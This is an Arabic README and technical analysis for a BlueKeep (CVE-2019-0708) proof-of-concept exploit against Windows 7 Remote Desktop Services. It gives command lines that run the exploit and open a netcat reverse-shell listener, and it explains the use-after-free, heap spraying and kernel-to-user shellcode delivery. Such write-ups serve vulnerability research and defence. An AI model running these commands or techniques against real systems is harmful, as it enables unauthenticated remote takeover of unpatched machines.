
CVE-2019-0708 (BlueKeep) إثبات المفهوم يسمح بتنفيذ تعليمات برمجية عن بعد قبل المصادقة على Windows7
يُظهر هذا المستودع خلل تنفيذ التعليمات البرمجية عن بُعد في خدمات سطح المكتب البعيد (RDS) لنظام Windows.
هذه هي كود إثبات المفهوم وتقرير فني حول ثغرة BlueKeep، والتي طورناها سابقًا. ملاحظة: هدفنا هو مساعدة المحللين على فهم أفضل للثغرات الحرجة.
كود الاستغلال الخاص بنا مكتوب بلغة Python 3، ويعتمد على مكتبة PyRDP. يرجى إعدادها باتباع دليل تثبيت PyRDP.
حاليًا، يستهدف استغلالنا ويتم اختباره على Windows 7 SP 1 (6.1.7601) x64 على Virtual Box.
إذا كان عنوان IP لجهازك هو 192.168.56.1 وكان الهدف هو خادم RDP على example.com:1234، فاكتب
$ python exploit.py example.com -rp 1234 192.168.56.1
إذا نجح البرنامج النصي في استغلال الخادم، فإن كود شل الاتصال العكسي يبدأ اتصال TCP من الخادم مرة أخرى إلى 192.168.56.1:4444. لذلك، على سبيل المثال، يجب أن تنتظر الاتصال باستخدام netcat:
$ nc -v -l 4444
إذا كنت تريد تغيير رقم المنفذ الذي يتصل به الخادم مرة أخرى، استخدم الخيار -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
في مايو 2019، كشفت Microsoft عن ثغرة تنفيذ تعليمات برمجية عن بُعد حرجة CVE-2019-0708، في خدمات سطح المكتب البعيد (المعروفة سابقًا باسم خدمات المحطة الطرفية). هذه الثغرة هي قبل المصادقة - مما يعني أن الثغرة قابلة للانتشار، مع احتمالية التسبب في اضطراب واسع النطاق. يمكن للمهاجم استغلال هذه الثغرة عن طريق إرسال رسائل بروتوكول سطح المكتب البعيد (RDP) مصممة إلى الخادم المستهدف والحصول على تنفيذ تعليمات برمجية عشوائية بامتيازات إدارية.
توفر خدمات سطح المكتب البعيد من Microsoft للمستخدم جلسات Windows تفاعلية مفتوحة عن بُعد. إنها تعرض سطح مكتب Windows الخاص بالمستخدم عن طريق التواصل مع عميل المستخدم باستخدام بروتوكول سطح المكتب البعيد (RDP) عبر المنفذ 3389/TCP.
يتمتع بروتوكول RDP بالقدرة على التحسين من خلال ملحقات برمجية تسمى القناة الافتراضية. قد تتضمن أمثلة التحسينات الوظيفية: دعم أنواع خاصة من الأجهزة، والصوت، أو إضافات أخرى للوظائف الأساسية. تتضمن هذه القنوات قنوات Microsoft القياسية مثل "rdpdr" (إعادة التوجيه)، و"rdpsnd" (الصوت)، و"cliprdr" (مشاركة الحافظة) إلخ. يمكن للمستخدمين كتابة وحدات باستخدام واجهة برمجة تطبيقات RDP لدعم قنوات أخرى. بالإضافة إلى القنوات المذكورة أعلاه، تقوم Microsoft بإنشاء قناتين افتراضيتين: MS_T120 (المستخدمة لـ RDP نفسه) وCTXTW (المستخدمة في Citrix ICA).
ترتبط الثغرة بعملية ربط القنوات الافتراضية لـ MS_T120 من خلال طلب "MCS Connect Initial and GCC Create". تتوفر معلومات أساسية إضافية من ZDI. كما هو مذكور في مقال ZDI، يتم إنشاء جميع القنوات الافتراضية التي يطلبها العميل باستخدام termdd!IcaCreateChannel(). ثم يتم تخزين المؤشرات إلى هياكل القنوات هذه داخل جدول، سنسميه ChannelPointerTable. عند إنشاء اتصال مع عميل RDP، تتم تهيئة جميع القنوات الافتراضية الثابتة بما في ذلك MS_T120 داخليًا بواسطة خادم RDP لنظام Windows ويتم الإشارة إليها بواسطة ChannelPointerTable.
يتم إصدار الاستعلام لإنشاء MS_T120 وCTXTW بواسطة rdpcore!WDLIB_IcaVirtualQueryBindings().
الشكل .1: توليد الاستعلام لإنشاء MS_T120 وCTXTW
بعد تمرير الاستعلام إلى termdd!IcaBindVirtualChannels()، يتم إنشاء هيكل قناة افتراضية في termdd!IcaAllocateChannel() وتسجيله في ChannelPointerTable.
الشكل .2: إنشاء وتسجيل هيكل القناة الافتراضية
الروتين الوظيفي termdd!IcaBindChannel() مسؤول عن تسجيل هيكل قناة افتراضية في ChannelPointerTable.
إليك تتبع المكدس على Windows 7 x64، عند استدعاء termdd!IcaBindChannel() مع الوسيطة الأولى "MS_T120" والوسيطة الثالثة 0x1f.
الشكل .3: يتم ربط MS_T1209 بالفتحة 0x1f أثناء الطلب الأولي
ثم يبدو ChannelPointerTable على النحو التالي. لاحظ أن MS_T120 موجود دائمًا في الفتحة 0x1F.
الشكل .4: ChannelPointerTable أثناء الطلب الأولي
توجد ثغرة استخدام بعد التحرير (use-after-free) في برنامج تشغيل نواة RDP لنظام Windows، termdd.sys.
المشكلة هي أنه عندما يحدد العميل قناة باسم MS_T120\x00 أثناء "MCS Connect Initial and GCC Create"، فإن termdd!IcaCreateChannel() يستدعي termdd!IcaFindChannelByName() ويعيد
هيكل قناة MS_T120 الموجود في الفتحة 0x1F. ثم يعتبر هذا الهيكل كإدخال قناة افتراضية جديد ويتم تخزينه في فتحة أخرى (في هذا المثال، الفتحة 2) أثناء "MCS Attach User Request".
إليك تتبع المكدس على Windows 7 x64، عند استدعاء termdd!IcaBindChannel() مع الوسيطة الأولى "MS_T120" والوسيطة الثالثة 0x2.
الشكل .5: يتم ربط MS_T1209 أيضًا بالفتحة 0x2 أثناء طلب الإرفاق
بعبارة أخرى، يتم الإشارة إلى هيكل قناة MS_T120 بواسطة فتحتين: 0x1F و0x2.
الشكل .6: ChannelPointerTable أثناء طلب الإرفاق
إذا أرسل مهاجم بعد ذلك بيانات غير صالحة إلى قناة MS_T120، يقوم termdd.sys بإغلاق القناة باستخدام termdd!IcaCloseChannel()، ويمسح المؤشر في الفتحة. (الفتحة 2 في المثال الجاري) ومع ذلك، لا يتم مسح نفس المؤشر في الفتحة 0x1F. بعد ذلك، عند إنهاء الاتصال، يتم استدعاء RDPWD!HandleDisconnectProviderUlt()، والذي يستدعي بدوره termdd!IcaChannelInputInternal() ويحاول تدمير هيكل قناة MS_T1209 المحرر مرة أخرى باستخدام المؤشر في الفتحة 0x1F. يتم استدعاء إجراء التدمير بواسطة مؤشر الجدول الافتراضي (vtable) داخل هيكل القناة. يؤدي هذا إلى حالة استخدام بعد التحرير.
الشكل .7: إلغاء الإشارة إلى vtable
كما هو موضح في القسم السابق، يحاول RDPWD!HandleDisconnectProviderUlt() استدعاء دالة من مؤشر vtable داخل هيكل القناة المحرر. إذا كان بإمكان المهاجم التحكم في القيم في هيكل القناة، فيمكنه الكتابة فوق مؤشر vtable، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية بامتيازات النواة. لتحقيق ذلك، مع ذلك، هناك صعوبتان يجب التغلب عليهما.
الأولى هي كيفية التحكم في القيم في هيكل القناة المحرر في المقام الأول. لتحقيق هذه الغاية، من المعتاد والثابت بالنسبة للمهاجم تخصيص ذاكرة في نفس موقع هيكل القناة المحرر، نظرًا لأن الثغرة المستهدفة هي استخدام بعد التحرير.
ومع ذلك، في هذه الحالة لا توجد طريقة حتمية له لتخصيص ذاكرته في الموقع المستهدف كما يشاء.
هذا لأنه في النواة، تعمل العديد من سلاسل العمليات وتخصص الذاكرة (افتراضيًا) في وقت واحد. يعتمد مكان تخصيص ذاكرته على الترتيب الذي تعمل به سلاسل العمليات. في جميع الحالات تقريبًا، لا يمكنه التأكد من نجاح التخصيص.

الأخرى هي أين يتم تعيين عناوين vtable والمؤشرات فيه. كما رأينا في القسم السابق، يُطلب من المهاجم تعيين عنوان vtable. نظرًا لأنه يريد الحصول على تنفيذ تعليمات برمجية عشوائية، يجب عليه تعيين العنوان بحيث يحتوي vtable المزيف على العنوان الذي يريد تنفيذه (على سبيل المثال، عنوان كود شل أو بعض الأدوات). ومع ذلك، يكاد يكون من المؤكد أنه لا يمكنه معرفة مثل هذا العنوان المناسب بسبب العشوائية المذكورة أعلاه لكومة النواة وKASLR:
هذه الحقائق تعني أن المهاجم لا يمكنه الحصول مباشرة على تنفيذ تعليمات برمجية عشوائية حتى لو كان بإمكانه التحكم في مؤشر vtable، ما لم يستخدم ثغرة أخرى تسرب عناوين في النواة. علاوة على ذلك، كما قد تلاحظ، "عنوان كود شل أو بعض الأدوات" هو أيضًا ما لا يمكن للمهاجم معرفته.
يتعامل استغلالنا مع هذه العقبات بتقنية واحدة: رش الكومة (heap spraying). رش الكومة هو طريقة لكسر هذه العشوائية، عن طريق إجراء عدد كبير من تخصيصات كمية كبيرة من الذاكرة.
الشكل .8: استخدام مجموعة الكومة قبل الرش
الشكل .9: استخدام مجموعة الكومة بعد الرش
بتكرار التخصيص المصمم عدة مرات، يمكن للمهاجم زيادة احتمالية أن بعض الذاكرة المخصصة تقع في موقع هيكل القناة المحرر.
إذا كانت غالبية الكائنات في كومة النواة هي تلك التي أعدها المهاجم، فيمكنه حتى إهمال تحديد عنوان ما في الكومة كعنوان vtable المزيف لأن العنوان المحدد من المرجح أن يشير إلى كائنه. نشير إلى أن العنوان الأساسي لكومة النواة ليس عشوائيًا بواسطة KASLR. بشكل أساسي، تأتي عشوائية الكومة فقط من ترتيب تنفيذ سلاسل العمليات.
لحسن الحظ والأهم من ذلك، في Windows 7، بت NX غير ممكّن في مجموعة النواة غير المقسمة (non-paged kernel pool). هذا يعني أن المهاجم يمكنه تخزين في كومة النواة، ليس فقط vtable المزيف، ولكن أيضًا كود شل مباشرة. هذا يجعل الاستغلال أسهل بكثير لأننا لسنا بحاجة إلى استخدام البرمجة الموجهة للإرجاع (ROP).
الشكل .10: صلاحية إدخال جدول الصفحة (PTE)
بالنسبة لرش الكومة، من الواضح أن المهاجم يحتاج إلى الوظيفة التي تسمح له بتخصيص ذاكرة في كومة النواة وإدخال بيانات فيها. بناءً على تقرير Unit 42 واستغلال BlueKeep في Metasploit، بحثنا عن برامج تشغيل النواة للحصول على روتينات توفر هذه الوظيفة. لقد اختبرنا العديد من PDUs وخلصنا أخيرًا إلى أن الطريقة الأكثر موثوقية وفائدة هي إرسال PDU للقناة الافتراضية إلى قناة rdpsnd كما يستخدم استغلال Metasploit. كمرجع لك، دعنا نشرح لماذا لم نتمكن من تبني ثلاثة أنواع من PDU المقدمة في تقرير Unit 42:
PDU القناة الافتراضية، كما يوحي اسمه، يتم تبادله بين العميل والخادم لنقل البيانات إلى القنوات الافتراضية الثابتة. أما بالنسبة لكيفية معالجة البيانات داخل PDU، فهي تختلف حسب القناة. من بين عدة قنوات معروفة توفرها Microsoft كإضافات، تتمتع قناة rdpsnd بميزة فريدة تتمثل في تلقي أي إدخال وتخصيص ذاكرة له. نظرًا لأنه يمكن استخدام هذه القناة افتراضيًا في Windows 7، يمكننا ببساطة إرسال حمولاتنا إليها لرش الكومة.
لقد كتبنا إثباتًا للمفهوم مع مراعاة النقاط المهمة المذكورة أعلاه، وحققنا بنجاح تنفيذ تعليمات برمجية عشوائية.
الشكل .11: عنوان vtable متحكم فيه
الشكل .12: نجحنا في الكتابة فوق عنوان vtable بعنوان ضار يشير إلى كود شل (ud2)
على الرغم من أننا وصفنا كيفية الحصول على تنفيذ كود شل في القسم السابق، إلا أن هذا ليس كل شيء في الواقع. يعمل كود الشل في نطاق النواة بينما ما يريده المهاجم هو امتيازات إدارية في "مساحة المستخدم". إنهما متشابهان نظريًا فيما يمكن للمهاجم فعله بهما، لكنهما مختلفان في كيفية تحقيق الإجراءات التي يريد القيام بها. على سبيل المثال، باستخدام كود شل، قد يحتاج المهاجم إلى كتابة مئات الأسطر من كود التجميع لسرد الملفات في دليل ما، بينما يمكنه ببساطة كتابة 'dir' باستخدام شل متميز.
وبالتالي، فإن هدف استغلالنا هو توفير شل متميز للمهاجم، وهذا يتطلب بعض الجهود الإضافية لتحقيقه. نظرًا لأن كود الشل يتم تنفيذه في نطاق النواة، يجب على كود الشل أولاً العثور على أو إنشاء سلسلة عمليات (متميزة) في مساحة المستخدم، ثم تنفيذ cmd.exe في تلك السلسلة. هذه المرة نحتاج إلى التفكير في أمرين: كيفية العثور على سلسلة عمليات أو إنشائها، وكيفية تخصيص ذاكرة في مساحة المستخدم لتنفيذ كود الشل في مساحة المستخدم.
تنشأ المسألة الأولى المتعلقة بإيجاد سلسلة عمليات في مساحة المستخدم بسبب حقيقة أن السياق الذي يعمل فيه كود الشل ليس سياق عملية عادي. إذا كان يعمل ضمن سياق عملية، يمكنه ببساطة استخدام تعليمة IRET للعودة إلى مساحة المستخدم. ومع ذلك، في هذه الحالة، يتسبب تنفيذ IRET في تجميد النواة. هناك عدة طرق لحل هذه المشكلة، ولكن من بين هذه الطرق، الطريقة الأكثر عمومية وفائدة هي استدعاء الإجراء غير المتزامن (APC)، الآلية التي يوفرها Windows لمعالجة الأحداث غير المتزامنة. يسمح APC للبرنامج بتنفيذ دوال في سياق سلسلة عمليات محددة حتى لو كانت لعملية مختلفة. باستخدام هذه الآلية، يمكن لكود الشل بسهولة وبشكل مشروع إنشاء سلسلة عمليات جديدة في مساحة المستخدم.
عند تسجيل APC، نحتاج إلى تحديد العنوان الذي تبدأ منه سلسلة العمليات الجديدة في مساحة المستخدم التنفيذ. ومع ذلك، حتى الآن قمنا بتخصيص ذاكرة فقط في كومة النواة، والتي لا يمكن لسلسلة عمليات في مساحة المستخدم الوصول إليها بوضوح. من أجل تنفيذ كود شل في مساحة المستخدم، يجب علينا إعداد موقع ذاكرة آخر يمكن رؤيته من مساحة المستخدم، وتخزين كود شل في مساحة المستخدم هناك. وبالتالي، نواجه المسألة الأخيرة المتمثلة في تخصيص ذاكرة في مساحة المستخدم. إحدى الطرق الممكنة والعادية للتعامل مع هذه المشكلة هي إنشاء تعيين جديد باستخدام ZwAllocateVirtualMemory. هذا، مع ذلك، مكرر بعض الشيء، وفي الواقع هناك طريقة أسهل في Windows 7: استخدام KUSER_SHARED_DATA. KUSER_SHARED_DATA هو هيكل بيانات مخزن في التعيين المخصص، والذي يتم تعيينه في كل من مساحة المستخدم ومساحة النواة، ويقع في عنوان ثابت (0x7FFE0000 و0xFFFFF78000000000، على التوالي). هذه ميزة مشابهة لـ vsyscall في Linux. إذا قمنا بتخزين كود شل في مساحة المستخدم في هذا التعيين، فكل شيء سيسير على ما يرام: يمكن لكود شل في مساحة النواة نسخ كود شل في مساحة المستخدم إلى هذا التعيين، وتسجيل APC دون صعوبة لأنه يعرف عنوان التعيين.
الشكل .13: يتم تخزين كود الشل في التعيين المخصص، 0x7FFE0000 (وضع المستخدم) و0xFFFFF78000000000 (وضع النواة)
الشكل .14: محتوى كود الشل
تم تعيين رقم CVE لهذه الثغرة، CVE-2019-0708. أصدرت Microsoft بالفعل تصحيحًا أمنيًا KB4499175 في 15 مايو 2019. يمكنك رؤية المزيد من التفاصيل حول الثغرة والإصدارات المتأثرة والتخفيف هنا.
هذا المشروع مدعوم جزئيًا من Advanced Technology Lab، شركة Recruit Co.,Ltd.
